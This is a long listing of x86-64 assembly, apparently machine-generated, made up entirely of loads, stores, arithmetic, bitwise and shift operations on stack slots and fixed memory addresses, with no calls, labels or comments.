mov rcx, qword [0x14019db40]
mov dword [rcx], eax
lea rax, [rsp + 0x3c38]
mov qword [rsp + 0xc168], rax
mov rax, qword [rsp + 0xba90]
mov ecx, dword [rsp + 0x41f0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4070], eax
mov rax, qword [0x14019dac0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x494c]
shl eax, cl
mov rcx, qword [rsp + 0xaf90]
mov dword [rcx], eax
movzx eax, word [rsp + 0xff8]
mov word [rsp + 0x11e0], ax
movzx eax, byte [rsp + 0x1a4]
mov rcx, qword [rsp + 0xb5b0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1a6], al
lea rax, [rsp + 0x45e4]
mov qword [rsp + 0xc170], rax
mov rax, qword [rsp + 0xb6a0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4760]
shr eax, cl
mov dword [rsp + 0x487c], eax
mov eax, dword [rsp + 0x4784]
mov dword [rsp + 0x4954], eax
mov rax, qword [rsp + 0xa360]
mov ecx, dword [0x14019d7e0]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14019c020], eax
mov rax, qword [rsp + 0xb3f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb840]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ae], al
mov rax, qword [rsp + 0xb178]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xab90]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf68], ax
lea rax, [0x14019bf24]
mov qword [rsp + 0xc178], rax
mov rax, qword [rsp + 0xa620]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16c]
add eax, ecx
mov rcx, qword [rsp + 0xbaf0]
mov byte [rcx], al
lea rax, [rsp + 0x4058]
mov qword [rsp + 0xc180], rax
mov rax, qword [rsp + 0xa6c8]
mov rcx, qword [rsp + 0xb268]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x45d4], eax
mov rax, qword [rsp + 0xb698]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xae58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ef], al
movzx eax, word [rsp + 0x11d0]
mov word [rsp + 0x11e4], ax
mov rax, qword [rsp + 0xb030]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4794]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14019d888]
mov dword [rcx], eax
mov rax, qword [rsp + 0xae30]
mov rcx, qword [rsp + 0xbe38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb1e8]
mov dword [rcx], eax
lea rax, [rsp + 0x4948]
mov qword [rsp + 0xc188], rax
mov rax, qword [rsp + 0xb048]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45f8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb4f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x204]
add eax, ecx
mov byte [rsp + 0x1a5], al
lea rax, [rsp + 0x1120]
mov qword [rsp + 0xc190], rax
mov rax, qword [rsp + 0xa598]
mov eax, dword [rax]
mov ecx, dword [0x14019bf2c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4788], eax
mov rax, qword [rsp + 0xa8d0]
mov eax, dword [rax]
mov dword [rsp + 0x4958], eax
mov rax, qword [rsp + 0xbd70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d3c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaba0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc170]
mov eax, dword [rax]
mov dword [0x14019dc78], eax
mov eax, dword [rsp + 0x4400]
mov rcx, qword [rsp + 0xba10]
mov qword [rsp + 0xc198], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc198]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x483c], eax
lea rax, [rsp + 0xd48]
mov qword [rsp + 0xc1a0], rax
mov rax, qword [rsp + 0xa7a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x206]
shl eax, cl
mov rcx, qword [rsp + 0xb298]
mov byte [rcx], al
mov rax, qword [rsp + 0xa5d8]
movzx eax, byte [rax]
mov byte [rsp + 0x21a], al
mov rax, qword [rsp + 0xa868]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcf8]
xor eax, ecx
mov word [rsp + 0x1184], ax
mov eax, dword [rsp + 0x43bc]
mov dword [rsp + 0x495c], eax
mov eax, dword [rsp + 0x42cc]
mov ecx, dword [rsp + 0x4600]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4200], eax
mov rax, qword [rsp + 0xac78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa5c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x162], al
lea rax, [rsp + 0xae4]
mov qword [0x14019dc80], rax
lea rax, [rsp + 0x48d8]
mov qword [rsp + 0xc1a8], rax
mov rax, qword [rsp + 0xb0d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3cbc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x42ec], eax
lea rax, [rsp + 0x4330]
mov qword [rsp + 0xc1b0], rax
mov rax, qword [0x14019dab8]
mov rcx, qword [rsp + 0xb9e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xae40]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaf58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa828]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xba20]
mov word [rcx], ax
lea rax, [rsp + 0x1be]
mov qword [rsp + 0xc1b8], rax
mov eax, dword [rsp + 0x43d8]
mov ecx, dword [0x14019bf90]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc1b0]
mov dword [rcx], eax
lea rax, [rsp + 0x41ec]
mov qword [rsp + 0xc1c0], rax
movsx eax, word [rsp + 0xc48]
movsx ecx, word [0x14019bf24]
add eax, ecx
mov word [0x14019c004], ax
mov rax, qword [rsp + 0xa7a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbb30]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbcb0]
mov byte [rcx], al
movzx eax, word [rsp + 0x10d4]
movzx ecx, word [rsp + 0xf54]
add eax, ecx
mov word [rsp + 0x1020], ax
movzx eax, byte [0x14019900f]
mov byte [rsp + 0x21b], al
mov eax, dword [rsp + 0x44a8]
mov ecx, dword [rsp + 0x420c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4934], eax
lea rax, [rsp + 0x36b4]
mov qword [rsp + 0xc1c8], rax
mov rax, qword [rsp + 0xbe70]
mov ecx, dword [0x14019bf58]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x42e4], eax
mov eax, dword [rsp + 0x4178]
mov dword [rsp + 0x4960], eax
mov rax, qword [rsp + 0xa7a0]
mov rcx, qword [rsp + 0xb000]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3bf0], eax
mov rax, qword [rsp + 0xb7a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbb78]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xff8], ax
movzx eax, byte [rsp + 0x18d]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x14019bf6f], al
mov rax, qword [rsp + 0xb030]
mov rcx, qword [0x14019dba8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x38d0], eax
mov eax, dword [rsp + 0x40e4]
mov ecx, dword [rsp + 0x44c8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc90]
mov dword [rcx], eax
lea rax, [rsp + 0x4344]
mov qword [rsp + 0xc1d0], rax
mov eax, dword [rsp + 0x44f4]
mov ecx, dword [rsp + 0x4460]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb8b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb010]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xada8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1080], ax
movzx eax, byte [rsp + 0x189]
mov byte [rsp + 0x21c], al
movsx eax, byte [rsp + 0x1d3]
movsx ecx, byte [0x14019bf1e]
and eax, ecx
mov byte [rsp + 0x1c5], al
mov rax, qword [rsp + 0xb088]
movzx eax, word [rax]
mov word [rsp + 0x11e8], ax
mov rax, qword [rsp + 0xb0d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x423c]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14019d888]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3edc]
mov ecx, dword [rsp + 0x4204]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b60], eax
mov rax, qword [rsp + 0xab40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb320]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10c8], ax
mov rax, qword [rsp + 0xb5b0]
movzx eax, byte [rax]
mov byte [rsp + 0x21d], al
mov eax, dword [rsp + 0x4188]
mov ecx, dword [0x14019bf30]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xba60]
mov dword [rcx], eax
lea rax, [rsp + 0x40f0]
mov qword [rsp + 0xc1d8], rax
mov rax, qword [rsp + 0xb630]
mov ecx, dword [rsp + 0x4810]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb868]
mov dword [rcx], eax
mov eax, dword [rsp + 0x47ac]
movzx ecx, al
mov eax, dword [0x14019bf4c]
sar eax, cl
mov dword [rsp + 0x4848], eax
lea rax, [rsp + 0x15e]
mov qword [rsp + 0xc1e0], rax
mov rax, qword [rsp + 0xada8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1040]
xor eax, ecx
mov word [0x14019c024], ax
mov eax, dword [rsp + 0x4828]
mov ecx, dword [rsp + 0x42c4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x41d8], eax
lea rax, [rsp + 0x45fc]
mov qword [rsp + 0xc1e8], rax
mov rax, qword [rsp + 0xa670]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4770]
shl eax, cl
mov rcx, qword [rsp + 0xae78]
mov dword [rcx], eax
lea rax, [rsp + 0x48dc]
mov qword [rsp + 0xc1f0], rax
mov rax, qword [rsp + 0xbfe8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b98]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb660]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x150]
mov rcx, qword [rsp + 0xba70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1f2], al
lea rax, [rsp + 0xecc]
mov qword [rsp + 0xc1f8], rax
mov rax, qword [rsp + 0xafd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbfd8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0xa850]
movzx eax, word [rax]
mov rcx, qword [0x14019d8a0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14019da88]
mov word [rcx], ax
lea rax, [rsp + 0x449c]
mov qword [rsp + 0xc200], rax
mov rax, qword [rsp + 0xbd38]
mov rcx, qword [rsp + 0xb2f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xae00]
mov dword [rcx], eax
movzx eax, word [rsp + 0x10b0]
movzx ecx, word [0x14019dbd0]
and eax, ecx
mov word [rsp + 0x1184], ax
movzx eax, byte [rsp + 0x1af]
mov byte [rsp + 0x21e], al
mov rax, qword [rsp + 0xbe18]
mov rcx, qword [rsp + 0xc060]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa718]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb0d8]
mov eax, dword [rax]
mov dword [rsp + 0x4964], eax
mov rax, qword [rsp + 0xac18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4634], eax
mov rax, qword [rsp + 0xb838]
mov ecx, dword [rsp + 0x3494]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x453c], eax
lea rax, [rsp + 0x1008]
mov qword [0x14019dc88], rax
lea rax, [0x14019bf02]
mov qword [rsp + 0xc208], rax
mov rax, qword [rsp + 0xb8f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4494]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x46cc], eax
mov eax, dword [rsp + 0x4554]
mov dword [rsp + 0x4968], eax
movsx eax, word [rsp + 0xd48]
movsx ecx, word [rsp + 0x10ac]
shl eax, cl
mov word [rsp + 0x1144], ax
movzx eax, byte [rsp + 0x67]
mov byte [rsp + 0x21f], al
mov rax, qword [rsp + 0xa828]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd5c]
or eax, ecx
mov word [rsp + 0x1160], ax
movzx eax, byte [0x140199009]
mov rcx, qword [rsp + 0xaee8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa838]
mov byte [rcx], al
mov eax, dword [rsp + 0x44b0]
mov dword [rsp + 0x496c], eax
mov rax, qword [rsp + 0xad98]
mov rcx, qword [rsp + 0xbf08]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [0x14019d828]
mov dword [rcx], eax
mov eax, dword [rsp + 0x453c]
mov ecx, dword [rsp + 0x43a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4208], eax
lea rax, [rsp + 0x4284]
mov qword [rsp + 0xc210], rax
mov eax, dword [rsp + 0x4588]
mov ecx, dword [rsp + 0x490c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4644], eax
movzx eax, byte [rsp + 0x1cb]
mov rcx, qword [rsp + 0xbd30]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xae58]
mov byte [rcx], al
lea rax, [rsp + 0xf38]
mov qword [rsp + 0xc218], rax
mov rax, qword [0x14019d960]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x46dc], eax
lea rax, [rsp + 0x4238]
mov qword [rsp + 0xc220], rax
mov rax, qword [rsp + 0xb918]
mov rcx, qword [rsp + 0xbbb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c48], eax
lea rax, [rsp + 0x3e4c]
mov qword [0x14019dc90], rax
movzx eax, word [0x14019d870]
mov rcx, qword [rsp + 0xad88]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10e8], ax
movzx eax, byte [rsp + 0x1cd]
mov rcx, qword [rsp + 0xad28]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x56], al
mov rax, qword [rsp + 0xaa98]
movsx eax, byte [rax]
movsx ecx, byte [0x140199008]
add eax, ecx
mov byte [rsp + 0x1ec], al
mov rax, qword [rsp + 0xaed8]
movzx eax, word [rax]
mov word [rsp + 0x11ec], ax
mov rax, qword [rsp + 0xaaa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46cc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbdb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4894]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb0d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbfb0]
movzx eax, word [rax]
mov word [rsp + 0x11f0], ax
movzx eax, byte [rsp + 0x1cb]
mov rcx, qword [rsp + 0xa9a0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1cf], al
mov rax, qword [rsp + 0xbc40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48a8]
xor ecx, eax
mov eax, ecx
mov dword [0x14019bf5c], eax
lea rax, [rsp + 0x448c]
mov qword [rsp + 0xc228], rax
mov rax, qword [rsp + 0xbe70]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x44b4]
sar eax, cl
mov dword [rsp + 0x481c], eax
mov eax, dword [rsp + 0x4620]
mov dword [rsp + 0x4970], eax
movzx eax, byte [rsp + 0x190]
movzx ecx, byte [rsp + 0x1e7]
shl eax, cl
mov rcx, qword [rsp + 0xa940]
mov byte [rcx], al
movzx eax, word [rsp + 0xef4]
mov rcx, qword [rsp + 0xaf20]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa400]
mov word [rcx], ax
lea rax, [rsp + 0x458c]
mov qword [rsp + 0xc230], rax
mov rax, qword [rsp + 0xae78]
mov ecx, dword [rsp + 0x480c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xabc8]
mov dword [rcx], eax
lea rax, [rsp + 0x4664]
mov qword [rsp + 0xc238], rax
lea rax, [rsp + 0x3aa4]
mov qword [0x14019dc98], rax
mov rax, qword [0x14019d930]
mov rcx, qword [rsp + 0xbd68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbff8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1f2]
mov rcx, qword [rsp + 0xab20]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x211], al
mov rax, qword [rsp + 0xba28]
movzx eax, word [rax]
mov word [rsp + 0x11f4], ax
movzx eax, byte [rsp + 0x1f9]
mov rcx, qword [rsp + 0xb8e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1b2], al
mov rax, qword [rsp + 0xa828]
movzx eax, word [rax]
mov word [rsp + 0x11f8], ax
mov rax, qword [0x14019da58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c60]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae10]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4768]
mov ecx, dword [rsp + 0x433c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4770], eax
movzx eax, byte [rsp + 0x159]
mov byte [rsp + 0x220], al
movzx eax, word [rsp + 0xeb4]
mov rcx, qword [0x14019da18]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14019d850], ax
mov rax, qword [rsp + 0xbc20]
mov rcx, qword [rsp + 0xc0d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc210]
mov dword [rcx], eax
lea rax, [rsp + 0x490c]
mov qword [rsp + 0xc240], rax
mov eax, dword [rsp + 0x45e0]
mov rcx, qword [rsp + 0xac30]
mov qword [rsp + 0xc248], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc248]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x45d8], eax
mov rax, qword [rsp + 0xb6a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x428c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x46d8], eax
lea rax, [rsp + 0x1b2]
mov qword [rsp + 0xc250], rax
movzx eax, word [rsp + 0x10a0]
movzx ecx, word [0x14019dae8]
sar eax, cl
mov rcx, qword [rsp + 0xad10]
mov word [rcx], ax
lea rax, [rsp + 0x4950]
mov qword [rsp + 0xc258], rax
mov rax, qword [rsp + 0xb848]
mov ecx, dword [rsp + 0x440c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4810], eax
movsx eax, word [rsp + 0xee0]
movsx ecx, word [rsp + 0x1014]
sub eax, ecx
mov word [0x14019bf04], ax
movzx eax, byte [rsp + 0x185]
mov byte [rsp + 0x221], al
mov rax, qword [rsp + 0xb818]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xadc8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbf68]
mov byte [rcx], al
mov rax, qword [rsp + 0xb3c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa400]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10c8], ax
lea rax, [rsp + 0x41e0]
mov qword [rsp + 0xc260], rax
mov rax, qword [rsp + 0xb680]
mov rcx, qword [rsp + 0xa5f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x43d0], eax
lea rax, [rsp + 0x41b8]
mov qword [rsp + 0xc268], rax
mov rax, qword [rsp + 0xabf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4908]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x481c], eax
mov rax, qword [rsp + 0xaf18]
mov ecx, dword [rsp + 0x4318]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x47bc], eax
movzx eax, byte [rsp + 0x16e]
mov byte [rsp + 0x222], al
mov rax, qword [rsp + 0xbee8]
movzx eax, word [rax]
mov word [0x14019dca0], ax
mov eax, dword [rsp + 0x4710]
mov ecx, dword [rsp + 0x427c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4418], eax
mov rax, qword [rsp + 0xbe80]
mov ecx, dword [rsp + 0x47d8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3388], eax
mov eax, dword [rsp + 0x4188]
mov ecx, dword [rsp + 0x4868]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xabf0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xabe0]
mov ecx, dword [rsp + 0x46bc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xabb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbee8]
movzx eax, word [rax]
mov word [rsp + 0x11fc], ax
mov rax, qword [rsp + 0xc068]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x19c]
shl eax, cl
mov rcx, qword [rsp + 0xc068]
mov byte [rcx], al
mov rax, qword [rsp + 0xa8b0]
movzx eax, byte [rax]
mov byte [rsp + 0x223], al
mov rax, qword [0x14019d868]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb610]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x11d8], ax
lea rax, [rsp + 0x4544]
mov qword [0x14019dca8], rax
mov eax, dword [rsp + 0x3578]
mov dword [rsp + 0x4974], eax
movzx eax, byte [rsp + 0x19d]
movzx ecx, byte [rsp + 0x15d]
xor eax, ecx
mov rcx, qword [rsp + 0xb0c8]
mov byte [rcx], al
mov rax, qword [rsp + 0xba20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb7a8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xbe08]
mov word [rcx], ax
mov eax, dword [rsp + 0x47c4]
mov dword [rsp + 0x4978], eax
mov rax, qword [rsp + 0xae40]
mov rcx, qword [rsp + 0xbd28]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb580]
mov dword [rcx], eax
lea rax, [rsp + 0x47ec]
mov qword [rsp + 0xc270], rax
mov rax, qword [rsp + 0xb4e8]
mov ecx, dword [rsp + 0x4914]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4630], eax
movzx eax, byte [0x14019bf02]
movzx ecx, byte [rsp + 0x155]
and eax, ecx
mov rcx, qword [rsp + 0xa780]
mov byte [rcx], al
movzx eax, word [rsp + 0xff8]
mov rcx, qword [rsp + 0xb850]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019d850], ax
lea rax, [rsp + 0x4244]
mov qword [rsp + 0xc278], rax
mov rax, qword [rsp + 0xc268]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x415c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4858], eax
mov rax, qword [rsp + 0xa8f0]
mov eax, dword [rax]
mov dword [rsp + 0x497c], eax
mov eax, dword [rsp + 0x4260]
mov ecx, dword [rsp + 0x4348]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbb60]
mov dword [rcx], eax
mov eax, dword [rsp + 0x47f0]
mov ecx, dword [rsp + 0x4920]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb268]
mov dword [rcx], eax
lea rax, [rsp + 0xf84]
mov qword [rsp + 0xc280], rax
mov rax, qword [rsp + 0xbb30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbd48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x219], al
lea rax, [rsp + 0x1128]
mov qword [rsp + 0xc288], rax
mov rax, qword [rsp + 0xb130]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xace8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019bf7e], al
mov eax, dword [0x14019bf8c]
mov ecx, dword [rsp + 0x3664]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xba90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb250]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x432c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb8e0]
mov dword [rcx], eax
lea rax, [rsp + 0x1ae]
mov qword [rsp + 0xc290], rax
mov rax, qword [rsp + 0xab18]
movzx eax, word [rax]
movzx ecx, word [0x14019bf6c]
shl eax, cl
mov rcx, qword [rsp + 0xb850]
mov word [rcx], ax
mov eax, dword [rsp + 0x4560]
mov dword [rsp + 0x4980], eax
mov eax, dword [rsp + 0x4790]
mov ecx, dword [rsp + 0x4358]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc238]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb630]
mov eax, dword [rax]
mov dword [rsp + 0x4984], eax
mov rax, qword [rsp + 0xae78]
mov eax, dword [rax]
mov rcx, qword [0x14019dc98]
mov qword [rsp + 0xc298], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc298]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xbae8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x187]
movzx ecx, byte [rsp + 0x1ee]
xor eax, ecx
mov byte [0x14019d7e6], al
movzx eax, word [rsp + 0x117c]
movzx ecx, word [rsp + 0xf68]
and eax, ecx
mov word [rsp + 0xf14], ax
mov eax, dword [rsp + 0x3418]
mov dword [rsp + 0x4988], eax
mov rax, qword [rsp + 0xa460]
mov ecx, dword [rsp + 0x3fc0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4334], eax
movsx eax, word [0x14019beec]
movsx ecx, word [rsp + 0xeac]
sub eax, ecx
mov word [rsp + 0xcb4], ax
movsx eax, byte [rsp + 0x178]
movsx ecx, byte [rsp + 0x20b]
and eax, ecx
mov byte [rsp + 0xf9], al
mov rax, qword [rsp + 0xb390]
movzx eax, word [rax]
mov rcx, qword [0x14019d910]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xefc], ax
movzx eax, byte [rsp + 0x1c1]
mov byte [rsp + 0x224], al
mov rax, qword [rsp + 0xb2c0]
mov ecx, dword [rsp + 0x45f0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x391c], eax
mov rax, qword [rsp + 0xbe38]
mov ecx, dword [rsp + 0x4600]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019c028], eax
mov rax, qword [rsp + 0xb590]
mov eax, dword [rax]
mov dword [rsp + 0x498c], eax
mov rax, qword [rsp + 0xb8e0]
mov ecx, dword [rsp + 0x3ca4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3b2c], eax
mov rax, qword [0x14019d848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4300], eax
lea rax, [rsp + 0x163]
mov qword [rsp + 0xc2a0], rax
mov rax, qword [rsp + 0xac40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb990]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xf44], ax
mov eax, dword [0x14019bfac]
mov dword [rsp + 0x4990], eax
mov eax, dword [rsp + 0x4524]
mov ecx, dword [rsp + 0x3418]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbd60]
mov dword [rcx], eax
lea rax, [rsp + 0x4624]
mov qword [rsp + 0xc2a8], rax
mov eax, dword [0x14019c028]
movzx ecx, al
mov eax, dword [rsp + 0x472c]
sar eax, cl
mov dword [0x14019bfec], eax
movzx eax, word [rsp + 0x10d4]
movzx ecx, word [rsp + 0xf98]
shl eax, cl
mov rcx, qword [rsp + 0xbb78]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1ca]
mov rcx, qword [rsp + 0xc1e0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1e6], al
lea rax, [0x14019bf64]
mov qword [rsp + 0xc2b0], rax
movsx eax, byte [rsp + 0x185]
movsx ecx, byte [rsp + 0x1d7]
add eax, ecx
mov rcx, qword [rsp + 0xb710]
mov byte [rcx], al
mov eax, dword [rsp + 0x3b2c]
mov dword [rsp + 0x4994], eax
mov rax, qword [rsp + 0xa698]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44c4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc60]
mov dword [rcx], eax
movzx eax, word [rsp + 0xfbc]
mov rcx, qword [rsp + 0xb2e8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa648]
mov word [rcx], ax
